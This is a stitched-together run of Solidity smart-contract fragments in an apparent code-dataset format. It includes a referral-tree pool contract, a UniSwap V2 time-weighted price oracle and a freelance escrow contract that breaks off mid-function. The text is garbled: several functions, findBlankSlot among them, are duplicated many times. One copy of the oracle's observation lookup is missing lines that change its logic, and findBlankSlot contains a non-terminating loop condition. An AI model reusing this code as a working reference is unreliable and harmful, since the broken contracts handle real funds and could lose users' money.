poolAmount[payIn._networkId][payIn._planIndex][payIn.mainTree][poolIndex] = poolAmount[payIn._networkId][payIn._planIndex][payIn.mainTree][poolIndex] + payIn._paidAmount;
emit depositedToPoolEv(now,payIn._networkId,payIn._planIndex,payIn._paidAmount,poolIndex, payIn.mainTree);
}
return true;
}
event transerToContractEv(uint256 _networkId,uint8 _planIndex,uint256 _poolIndex, uint256 _amount, bool mainTree);
function stackTooDeepB(payInput memory payIn, uint256 poolIndex,address payable thisUser, uint8 k) internal returns(bool)
{
require(doTransaction(payIn._networkId, address(0), thisUser,payIn._paidAmount,payIn._planIndex,payIn.mainTree,payIn._userId), "amount tx fail");
if(k==4)
{
poolAmount[payIn._networkId][payIn._planIndex][payIn.mainTree][poolIndex] = poolAmount[payIn._networkId][payIn._planIndex][payIn.mainTree][poolIndex] + payIn._paidAmount;
emit depositedToPoolEv(now,payIn._networkId,payIn._planIndex,payIn._paidAmount,poolIndex, payIn.mainTree);
}
return true;
}
event transerToContractEv(uint256 _networkId,uint8 _planIndex,uint256 _poolIndex, uint256 _amount, bool mainTree);
function transerToContract(uint256 _networkId,uint8 _planIndex,uint256 _poolIndex, uint256 _amount, bool mainTree) public returns(bool)
{
address payable caller = msg.sender;
etherInPlan memory temp;
temp = etherInPlans[_networkId][mainTree][_planIndex];
require(caller == externalContract[_networkId], "Invalid caller" );
require(_amount <= poolAmount[_networkId][_planIndex][mainTree][_poolIndex],"not enough amount");
poolAmount[_networkId][_planIndex][mainTree][_poolIndex] = poolAmount[_networkId][_planIndex][mainTree][_poolIndex] - _amount;
caller.transfer(_amount);
emit transerToContractEv(_networkId,_planIndex,_poolIndex,_amount, mainTree);
return true;
}
event payPlatformChargeEv(uint timeNow, uint256 _networkId, uint256 Amount);
function payPlatformCharge(uint256 _networkId, uint256 _paidAmount) internal returns(bool)
{
uint256 amount = _paidAmount * platFormFeePercentage / 100000000;
require(doTransaction(_networkId, address(0), owner,amount,0,false,0), "amount tx fail");
emit payPlatformChargeEv(now,_networkId,amount);
return true;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function findBlankSlot(uint256 _networkId,uint8 _planIndex,uint32 _referrerId,bool mainTree, uint8 _maxChild) public view returns(uint32)
{
if(userInfos[_networkId][_planIndex][mainTree][_referrerId].childCount < _maxChild) return _referrerId;
uint32[] memory referrals = new uint32[](126);
uint j;
for(j=0;j<_maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][_referrerId].childIds[j];
}
uint32 blankSlotId;
bool noBlankSlot = true;
for(uint i = 0; i < 126; i++) {
if(userInfos[_networkId][_planIndex][mainTree][referrals[i]].childCount == _maxChild) {
if(j < 126 - _maxChild) {
for(j=j;j< j + _maxChild;j++)
{
referrals[j] = userInfos[_networkId][_planIndex][mainTree][referrals[i]].childIds[j];
}
}
}
else {
noBlankSlot = false;
blankSlotId = referrals[i];
break;
}
}
require(!noBlankSlot, 'No Free Referrer');
return blankSlotId;
}
function viewUserInfosLength(uint256 _networkId, uint256 _planIndex, bool mainTree) public view returns(uint256)
{
return userInfos[_networkId][_planIndex][mainTree].length;
}
function viewUserInfosChildId(uint256 _networkId, uint256 _planIndex,bool mainTree, uint256 _userId, uint256 _childIndex) public view returns(uint256)
{
if(_userId < userInfos[_networkId][_planIndex][mainTree].length && _childIndex < userInfos[_networkId][_planIndex][mainTree][_userId].childIds.length)
{
return userInfos[_networkId][_planIndex][mainTree][_userId].childIds[_childIndex];
}
return 0;
}
function viewUserInfosChildId(uint256 _networkId, uint256 _planIndex,bool mainTree, uint256 _userId, uint256 _childIndex) public view returns(uint256)
{
if(_userId < userInfos[_networkId][_planIndex][mainTree].length && _childIndex < userInfos[_networkId][_planIndex][mainTree][_userId].childIds.length)
{
return userInfos[_networkId][_planIndex][mainTree][_userId].childIds[_childIndex];
}
return 0;
}
function viewEtherOutPlanSetting(uint256 _networkId, uint256 _planIndex, uint256 _payoutIndex) public view returns (uint8 _payoutType, uint32 _payoutTo, uint32 _payoutPercentage )
{
if(_planIndex < etherOutPlans[_networkId].length)
{
_payoutType = etherOutPlans[_networkId][_planIndex].payoutType[_payoutIndex];
_payoutTo = etherOutPlans[_networkId][_planIndex].payoutTo[_payoutIndex];
_payoutPercentage = etherOutPlans[_networkId][_planIndex].payoutPercentage[_payoutIndex];
}
}
function viewEtherOutPlanSetting(uint256 _networkId, uint256 _planIndex, uint256 _payoutIndex) public view returns (uint8 _payoutType, uint32 _payoutTo, uint32 _payoutPercentage )
{
if(_planIndex < etherOutPlans[_networkId].length)
{
_payoutType = etherOutPlans[_networkId][_planIndex].payoutType[_payoutIndex];
_payoutTo = etherOutPlans[_networkId][_planIndex].payoutTo[_payoutIndex];
_payoutPercentage = etherOutPlans[_networkId][_planIndex].payoutPercentage[_payoutIndex];
}
}
function payoutPercentageSum(uint256 _networkId, uint256 etherOutPlanIndex) public view returns(uint256)
{
uint256 i;
uint32[] memory _payoutPercentage = etherOutPlans[_networkId][etherOutPlanIndex].payoutPercentage;
uint256 totalPercentSum;
for(i=0; i< _payoutPercentage.length; i++)
{
totalPercentSum += _payoutPercentage[i];
}
return totalPercentSum;
}
function payoutPercentageSum(uint256 _networkId, uint256 etherOutPlanIndex) public view returns(uint256)
{
uint256 i;
uint32[] memory _payoutPercentage = etherOutPlans[_networkId][etherOutPlanIndex].payoutPercentage;
uint256 totalPercentSum;
for(i=0; i< _payoutPercentage.length; i++)
{
totalPercentSum += _payoutPercentage[i];
}
return totalPercentSum;
}
function checkUserId(uint256 _networkId, uint8 _planIndex, bool mainTree, address payable _user, uint32 _userId ) public view returns (bool)
{
for(uint8 i; i< userIndex[_networkId][_planIndex][mainTree][_user].length;i++)
{
if(userIndex[_networkId][_planIndex][mainTree][_user][i] == _userId) return true;
}
return false;
}
function checkUserId(uint256 _networkId, uint8 _planIndex, bool mainTree, address payable _user, uint32 _userId ) public view returns (bool)
{
for(uint8 i; i< userIndex[_networkId][_planIndex][mainTree][_user].length;i++)
{
if(userIndex[_networkId][_planIndex][mainTree][_user][i] == _userId) return true;
}
return false;
}
function setNetworkPrice(uint256 _networkPrice) public onlyOwner returns (bool)
{
networkPrice = _networkPrice;
return true;
}
function setMinPlanPrice(uint256 _minPlanPrice) public onlyOwner returns (bool)
{
minPlanPrice = _minPlanPrice;
return true;
}
function setPlatFormFeePercentage(uint256 _platFormFeePercentage) public onlyOwner returns (bool)
{
platFormFeePercentage = _platFormFeePercentage;
return true;
}
function setValidStableCoin(address _coinAddress, uint256 _etherValue) public onlyOwner returns(bool)
{
validStableCoin[_coinAddress] = _etherValue;
return true;
}
}
| 12,288,772
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] |
./full_match/5/0xA8e4f7319EA2D5bf51Be1dfc9fD7D9E7Cad207fD/sources/project_/contracts/HedgeX.sol
|
emit InitialLiquidityProvided(tokenId,liquidity,amount0,amount1);
|
function provideLiquidity() internal{
require(initialLiquidityProvided == false, "Initial liquidity has already been provided." );
require(protocol_earnings >= initialLiqThreshold, "Threshold to provide liquidity not yet met." );
TransferHelper.safeApprove(WETH9, hedgexLiqManagerAddress , initialLiqThreshold);
TransferHelper.safeTransferFrom(WETH9, address(this), hedgexLiqManagerAddress , initialLiqThreshold);
hedgexLiqManager.mintNewPosition( initialLiqThreshold*1000, initialLiqThreshold );
initialLiquidityProvided = true;
}
| 1,944,950
|
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./partial_match/1/0xDB8367c2cB51532951C570857832AebD4D72Ece7/sources/contracts/wtf20230607.sol
|
check for user to be "wtfManager"
|
require((wtfManAddr2==msg.sender), "Not authorized. error3");
| 15,636,759
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// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
// import {
// UniswapV2OracleLibrary as UniV2Oracle
// } from "./lib/UniswapV2OracleLibrary.sol";
import "./lib/FixedPoint.sol";
import { PriceLibrary as Prices } from "./lib/PriceLibrary.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @dev This contract is a UniSwapV2 price oracle that tracks the
* time weighted moving average price of tokens in terms of WETH.
*
* The price oracle is deployed with an observation period parameter
* which defines the default time over which the oracle should average
* prices.
*
* In order to query the price of a token from the oracle, the latest
* price observation from UniSwap must be at least half the observation
* period old and at most twice the observation period old.
*
* For further reading, see:
* https://uniswap.org/blog/uniswap-v2/#price-oracles
* https://uniswap.org/whitepaper.pdf#subsection.2.2
*/
contract UniSwapV2PriceOracle {
using Prices for address;
using Prices for Prices.PriceObservation;
using Prices for Prices.TwoWayAveragePrice;
using FixedPoint for FixedPoint.uq112x112;
using FixedPoint for FixedPoint.uq144x112;
/* --- Constants --- */
// Period over which prices are observed, each period should have 1 price observation.
uint32 public immutable OBSERVATION_PERIOD;
// Minimum time elapsed between price observations
uint32 public immutable MINIMUM_OBSERVATION_DELAY;
// Maximum age an observation can have to still be usable in standard price queries.
uint32 public immutable MAXIMUM_OBSERVATION_AGE;
/* --- Events --- */
event PriceUpdated(address token, uint224 priceCumulativeLast);
/* --- Storage --- */
// Uniswap factory address
address internal immutable _uniswapFactory;
// Wrapped ether token address
address internal immutable _weth;
// Price observations for tokens indexed by time period.
mapping(
address => mapping(uint256 => Prices.PriceObservation)
) internal _priceObservations;
constructor(
address uniswapFactory,
address weth,
uint32 observationPeriod
) public {
_uniswapFactory = uniswapFactory;
_weth = weth;
OBSERVATION_PERIOD = observationPeriod;
MINIMUM_OBSERVATION_DELAY = observationPeriod / 2;
MAXIMUM_OBSERVATION_AGE = observationPeriod * 2;
}
/* --- Price Updates --- */
/**
* @dev Updates the latest price observation for a token if allowable.
*
* Note: The price can only be updated once per period, and price
* observations must be made at least half a period apart.
*
* @param token Token to update the price of
* @return didUpdate Whether the token price was updated.
*/
function updatePrice(address token) public returns (bool didUpdate) {
Prices.PriceObservation memory _new = _uniswapFactory.observePrice(token, _weth);
// We use the observation's timestamp rather than `now` because the
// UniSwap pair may not have updated the price this block.
uint256 observationIndex = observationIndexOf(_new.timestamp);
Prices.PriceObservation storage current = _priceObservations[token][observationIndex];
if (current.timestamp != 0) {
// If an observation has already been made for this period, do not update.
return false;
}
Prices.PriceObservation memory previous = _priceObservations[token][observationIndex - 1];
uint256 timeElapsed = _new.timestamp - previous.timestamp;
if (timeElapsed < MINIMUM_OBSERVATION_DELAY) {
// If less than half a period has passed since the previous observation, do not update.
return false;
}
_priceObservations[token][observationIndex] = _new;
emit PriceUpdated(token, _new.priceCumulativeLast);
return true;
}
/**
* @dev Updates the prices of multiple tokens.
*
* @param tokens Array of tokens to update the prices of
* @return updates Array of boolean values indicating which tokens
* successfully updated their prices.
*/
function updatePrices(address[] memory tokens)
public
returns (bool[] memory updates)
{
updates = new bool[](tokens.length);
for (uint256 i = 0; i < tokens.length; i++) {
updates[i] = updatePrice(tokens[i]);
}
}
/* --- Observation Queries --- */
/**
* @dev Gets the price observation at `observationIndex` for `token`.
*
* Note: This does not assert that there is an observation for that index,
* this should be verified by the recipient.
*/
function getPriceObservation(address token, uint256 observationIndex)
external
view
returns (Prices.PriceObservation memory)
{
return _priceObservations[token][observationIndex];
}
/**
* @dev Gets the observation index for `timestamp`
*/
function observationIndexOf(uint256 timestamp) public view returns (uint256) {
return timestamp / OBSERVATION_PERIOD;
}
function canUpdatePrice(address token) external view returns (bool) {
Prices.PriceObservation memory _new = _uniswapFactory.observePrice(token, _weth);
// We use the observation's timestamp rather than `now` because the
// UniSwap pair may not have updated the price this block.
uint256 observationIndex = observationIndexOf(_new.timestamp);
// If this period already has an observation, return false.
if (_priceObservations[token][observationIndex].timestamp != 0)
return false;
// An observation can be made if the last update was at least half a period ago.
uint32 timeElapsed = _new.timestamp -
_priceObservations[token][observationIndex - 1].timestamp;
return timeElapsed >= MINIMUM_OBSERVATION_DELAY;
}
/* --- Value Queries --- */
/**
* @dev Computes the average value in weth of `amountIn` of `token`.
*/
function computeAverageAmountOut(address token, uint256 amountIn)
public
view
returns (uint144 amountOut)
{
FixedPoint.uq112x112 memory priceAverage = computeAverageTokenPrice(token);
return priceAverage.mul(amountIn).decode144();
}
/**
* @dev Computes the average value in `token` of `amountOut` of weth.
*/
function computeAverageAmountIn(address token, uint256 amountOut)
public
view
returns (uint144 amountIn)
{
FixedPoint.uq112x112 memory priceAverage = computeAverageEthPrice(token);
return priceAverage.mul(amountOut).decode144();
}
/**
* @dev Compute the average value in weth of each token in `tokens`
* for the corresponding token amount in `amountsIn`.
*/
function computeAverageAmountsOut(
address[] calldata tokens,
uint256[] calldata amountsIn
)
external
view
returns (uint144[] memory amountsOut)
{
uint256 len = tokens.length;
require(amountsIn.length == len, "ERR_ARR_LEN");
amountsOut = new uint144[](len);
for (uint256 i = 0; i < len; i++) {
amountsOut[i] = computeAverageAmountOut(tokens[i], amountsIn[i]);
}
}
/**
* @dev Compute the average value of each amount of weth in `amountsOut`
* in terms of the corresponding token in `tokens`.
*/
function computeAverageAmountsIn(
address[] calldata tokens,
uint256[] calldata amountsOut
)
external
view
returns (uint144[] memory amountsIn)
{
uint256 len = tokens.length;
require(amountsOut.length == len, "ERR_ARR_LEN");
amountsIn = new uint144[](len);
for (uint256 i = 0; i < len; i++) {
amountsIn[i] = computeAverageAmountIn(tokens[i], amountsOut[i]);
}
}
/* --- Price Queries --- */
/**
* @dev Returns the UQ112x112 struct representing the average price of
* `token` in terms of weth.
*
* Note: Requires that the token has a price observation between 0.5
* and 2 periods old.
*/
function computeAverageTokenPrice(address token)
public
view
returns (FixedPoint.uq112x112 memory priceAverage)
{
// Get the current cumulative price
Prices.PriceObservation memory current = _uniswapFactory.observePrice(token, _weth);
// Get the latest usable price
Prices.PriceObservation memory previous = _getLatestUsableObservation(
token,
current.timestamp
);
return previous.computeAverageTokenPrice(current);
}
/**
* @dev Returns the UQ112x112 struct representing the average price of
* weth in terms of `token`.
*
* Note: Requires that the token has a price observation between 0.5
* and 2 periods old.
*/
function computeAverageEthPrice(address token)
public
view
returns (FixedPoint.uq112x112 memory priceAverage)
{
// Get the current cumulative price
Prices.PriceObservation memory current = _uniswapFactory.observePrice(token, _weth);
// Get the latest usable price
Prices.PriceObservation memory previous = _getLatestUsableObservation(
token,
current.timestamp
);
return previous.computeAverageEthPrice(current);
}
/**
* @dev Returns the TwoWayAveragePrice struct representing the average price of
* weth in terms of `token` and the average price of `token` in terms of weth.
*
* Note: Requires that the token has a price observation between 0.5
* and 2 periods old.
*/
function computeTwoWayAveragePrice(address token)
public
view
returns (Prices.TwoWayAveragePrice memory)
{
// Get the current cumulative price
Prices.PriceObservation memory current = _uniswapFactory.observePrice(token, _weth);
// Get the latest usable price
Prices.PriceObservation memory previous = _getLatestUsableObservation(
token,
current.timestamp
);
return previous.computeTwoWayAveragePrice(current);
}
/**
* @dev Returns the UQ112x112 structs representing the average price of
* each token in `tokens` in terms of weth.
*/
function computeAverageTokenPrices(address[] memory tokens)
public
view
returns (FixedPoint.uq112x112[] memory averagePrices)
{
uint256 len = tokens.length;
averagePrices = new FixedPoint.uq112x112[](len);
for (uint256 i = 0; i < len; i++) {
averagePrices[i] = computeAverageTokenPrice(tokens[i]);
}
}
/**
* @dev Returns the UQ112x112 structs representing the average price of
* weth in terms of each token in `tokens`.
*/
function computeAverageEthPrices(address[] memory tokens)
public
view
returns (FixedPoint.uq112x112[] memory averagePrices)
{
uint256 len = tokens.length;
averagePrices = new FixedPoint.uq112x112[](len);
for (uint256 i = 0; i < len; i++) {
averagePrices[i] = computeAverageEthPrice(tokens[i]);
}
}
/**
* @dev Returns the TwoWayAveragePrice structs representing the average price of
* weth in terms of each token in `tokens` and the average price of each token
* in terms of weth.
*
* Note: Requires that the token has a price observation between 0.5
* and 2 periods old.
*/
function computeTwoWayAveragePrices(address[] memory tokens)
public
view
returns (Prices.TwoWayAveragePrice[] memory averagePrices)
{
uint256 len = tokens.length;
averagePrices = new Prices.TwoWayAveragePrice[](len);
for (uint256 i = 0; i < len; i++) {
averagePrices[i] = computeTwoWayAveragePrice(tokens[i]);
}
}
/* --- Internal Observation Functions --- */
/**
* @dev Gets the latest price observation which is at least half a period older
* than `timestamp` and at most 2 periods older.
*
* @param token Token to get the latest price for
* @param timestamp Reference timestamp for comparison
*/
function _getLatestUsableObservation(address token, uint32 timestamp)
internal
view
returns (Prices.PriceObservation memory observation)
{
uint256 observationIndex = observationIndexOf(timestamp);
uint256 periodTimeElapsed = timestamp % OBSERVATION_PERIOD;
// Before looking at the current observation period, check if it is possible
// for an observation in the current period to be more than half a period old.
if (periodTimeElapsed >= MINIMUM_OBSERVATION_DELAY) {
observation = _priceObservations[token][observationIndex];
if (
observation.timestamp != 0 &&
timestamp - observation.timestamp >= MINIMUM_OBSERVATION_DELAY
) {
return observation;
}
}
// Check the observation for the previous period
observation = _priceObservations[token][observationIndex - 1];
uint256 timeElapsed = timestamp - observation.timestamp;
if (
observation.timestamp != 0 && timeElapsed >= MINIMUM_OBSERVATION_DELAY
) {
return observation;
}
// Check the observation from 2 periods ago.
observation = _priceObservations[token][observationIndex - 2];
timeElapsed = timestamp - observation.timestamp;
require(
observation.timestamp != 0 && timeElapsed <= MAXIMUM_OBSERVATION_AGE,
"ERR_USABLE_PRICE_NOT_FOUND"
);
}
}
|
* @dev Gets the latest price observation which is at least half a period older than `timestamp` and at most 2 periods older. @param token Token to get the latest price for @param timestamp Reference timestamp for comparison/ Before looking at the current observation period, check if it is possible for an observation in the current period to be more than half a period old.
|
function _getLatestUsableObservation(address token, uint32 timestamp)
internal
view
returns (Prices.PriceObservation memory observation)
{
uint256 observationIndex = observationIndexOf(timestamp);
uint256 periodTimeElapsed = timestamp % OBSERVATION_PERIOD;
if (periodTimeElapsed >= MINIMUM_OBSERVATION_DELAY) {
observation = _priceObservations[token][observationIndex];
if (
observation.timestamp != 0 &&
timestamp - observation.timestamp >= MINIMUM_OBSERVATION_DELAY
) {
return observation;
}
}
uint256 timeElapsed = timestamp - observation.timestamp;
if (
observation.timestamp != 0 && timeElapsed >= MINIMUM_OBSERVATION_DELAY
) {
return observation;
}
timeElapsed = timestamp - observation.timestamp;
require(
observation.timestamp != 0 && timeElapsed <= MAXIMUM_OBSERVATION_AGE,
"ERR_USABLE_PRICE_NOT_FOUND"
);
}
| 2,524,507
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pragma solidity >=0.4.21 <0.7.0;
// @title Will Work for Dai: Self-enforcing smart contracts avoid project work disputes
// @author Jerry Fireman
contract WillWorkForDai {
// @dev The person providing the service
address payable public serviceProvider;
// @dev Used to track the numbers of project phases
uint public idGenerator = 1;
// @dev Tracks the information associated with each phase
struct Phase {
string name;
string description;
uint lockedPayment; // this goes to service provider when client approves phase;
// it goes to service provider if client cancels or client if service provider cancels
uint discretionaryPayment; // this goes to service provider when client approves phase; to client if service provider or client cancels
bool phaseStarted; // service provider starts the phase; initial payment moves into escrow
bool clientApproved; // set true when client approves phase
}
// @dev Tracks the information associated with the project
struct Project {
string name;
string description;
address payable client;
mapping (uint => Phase) phases;
uint currentPhase;
uint serviceProviderBalance;
uint escrowBalance;
uint clientBalance;
bool clientApprovedPhaseStructure;
bool projectCancelled;
bool projectCompleted;
bool phaseExists; // Tracks whether at least one phase has been created
}
Project thisProject;
// @dev Throws error if the msg.sender is not the service provider
modifier onlyServiceProvider {
require(msg.sender == serviceProvider, "Message sender is not service provider");
_;
}
// @dev Throws error if the msg.sender is not the client
modifier onlyClient {
require(msg.sender == thisProject.client, "Message sender is not client");
_;
}
// @dev Throws error if phase structure has been approved by client
modifier phaseStructureNotApproved {
require(thisProject.clientApprovedPhaseStructure == false, "Client has approved phase structure so it cannot be changed.");
_;
}
// @dev Sets serviceProvider to the address that instantiated the project
// @dev Sets the appropriate project details
constructor(string memory _name, string memory _description, address payable _client)
public
{
serviceProvider = msg.sender;
thisProject.name = _name;
thisProject.description = _description;
thisProject.client = _client;
thisProject.currentPhase = 0;
thisProject.serviceProviderBalance = 0;
thisProject.escrowBalance = 0;
thisProject.clientApprovedPhaseStructure = false;
thisProject.projectCancelled = false;
thisProject.projectCompleted = false;
thisProject.phaseExists = false;
}
// @dev Used by client to deposit funds into contract
function deposit()
public
payable
onlyClient
returns (uint)
{
thisProject.clientBalance += msg.value;
return thisProject.clientBalance;
}
// @dev Used by client to withdraw funds from contract
// @param _withdrawAmount amount client wants to withdraw
function clientWithdrawal(uint _withdrawAmount)
public
payable
onlyClient
returns (uint)
{
require(thisProject.clientBalance >= _withdrawAmount, "Amount requested to withdraw is greater than current balance");
thisProject.clientBalance -= _withdrawAmount;
thisProject.client.transfer(_withdrawAmount);
return thisProject.clientBalance;
}
/// @dev Used by service provider to withdraw funds from contract
/// @param _withdrawAmount amount service provider wants to withdraw
function serviceProviderWithdrawal(uint _withdrawAmount)
public
payable
onlyServiceProvider
returns (uint)
{
require(thisProject.serviceProviderBalance >= _withdrawAmount, "Amount requested to withdraw is greater than current balance");
thisProject.serviceProviderBalance -= _withdrawAmount;
serviceProvider.transfer(_withdrawAmount);
return thisProject.serviceProviderBalance;
}
// @dev Used by service provider to define a phase of the project
// @param _name name of the phase
// @param _description description of the phase
// @param _lockedPayment amount that service provider earns even if phase cancelled by client
// @param _discretionaryPayment refunded to client if phase is cancelled
function createPhase(string memory _name, string memory _description, uint _lockedPayment, uint _discretionaryPayment)
public
onlyServiceProvider
phaseStructureNotApproved
returns(uint)
{
Phase storage newPhase = thisProject.phases[idGenerator];
newPhase.name = _name;
newPhase.description = _description;
newPhase.lockedPayment = _lockedPayment;
newPhase.discretionaryPayment = _discretionaryPayment;
idGenerator++;
thisProject.phaseExists = true;
return idGenerator - 1;
}
// @dev Provides information on the current project
function readProject()
public
view
returns(string memory name, string memory description, address client, uint currentPhase, uint serviceProviderBalance, uint escrowBalance, uint clientBalance, bool clientApprovedPhaseStructure, bool projectCancelled, bool projectCompleted, bool phaseExists)
{
name = thisProject.name;
description = thisProject.description;
client = thisProject.client;
currentPhase = thisProject.currentPhase;
serviceProviderBalance = thisProject.serviceProviderBalance;
escrowBalance = thisProject.escrowBalance;
clientBalance = thisProject.clientBalance;
clientApprovedPhaseStructure = thisProject.clientApprovedPhaseStructure;
projectCancelled = thisProject.projectCancelled;
projectCompleted = thisProject.projectCompleted;
phaseExists = thisProject.phaseExists;
return(name, description, client, currentPhase, serviceProviderBalance,
escrowBalance, clientBalance, clientApprovedPhaseStructure,
projectCancelled, projectCompleted, phaseExists);
}
// @dev Provides information on a phase of the project
// @param phase of the project for which information is request
function readPhase(uint _phase)
public
view
returns(string memory name, string memory description, uint lockedPayment, uint discretionaryPayment, bool phaseStarted, bool clientApproved)
{
name = thisProject.phases[_phase].name;
description = thisProject.phases[_phase].description;
lockedPayment = thisProject.phases[_phase].lockedPayment;
discretionaryPayment = thisProject.phases[_phase].discretionaryPayment;
phaseStarted = thisProject.phases[_phase].phaseStarted;
clientApproved = thisProject.phases[_phase].clientApproved;
return(name, description, lockedPayment, discretionaryPayment, phaseStarted, clientApproved);
}
// @dev Executed by service provider to start the next phase of the project
function serviceProviderStartNextPhase()
public
onlyServiceProvider
returns(uint)
{
require(thisProject.phases[thisProject.currentPhase].clientApproved == true || (thisProject.currentPhase == 0),
"Previous phase must be completed");
require(thisProject.projectCompleted == false, "Project has already been completed");
require(thisProject.projectCancelled == false, "Project has been cancelled");
uint nextPhase = (thisProject.currentPhase + 1);
require(thisProject.clientBalance >= thisProject.phases[nextPhase].lockedPayment + thisProject.phases[nextPhase].discretionaryPayment,
"Client balance is not sufficient to begin this phase");
thisProject.currentPhase = nextPhase;
thisProject.clientBalance -= thisProject.phases[nextPhase].lockedPayment + thisProject.phases[nextPhase].discretionaryPayment;
thisProject.escrowBalance += thisProject.phases[nextPhase].lockedPayment + thisProject.phases[nextPhase].discretionaryPayment;
thisProject.phases[thisProject.currentPhase].phaseStarted = true;
return thisProject.currentPhase;
}
// @dev Executed by client to approve and finalize the phase structure of the project.
function approvePhaseStructure()
public
onlyClient
returns(bool)
{
require(thisProject.phaseExists == true,"No phases have been created yet");
require(thisProject.clientApprovedPhaseStructure == false,"The client has already approved the phase structure");
thisProject.clientApprovedPhaseStructure = true;
return thisProject.clientApprovedPhaseStructure;
}
// @dev Used by client to approve and finalize the current phase
function approvePhase()
public
onlyClient
returns(bool)
{
require(thisProject.phases[thisProject.currentPhase].clientApproved == false,"Client has already approved current phase");
require(thisProject.phases[thisProject.currentPhase].phaseStarted == true,"This phase has not been started so it cannot be approved");
thisProject.phases[thisProject.currentPhase].clientApproved = true;
thisProject.serviceProviderBalance += thisProject.phases[thisProject.currentPhase].lockedPayment;
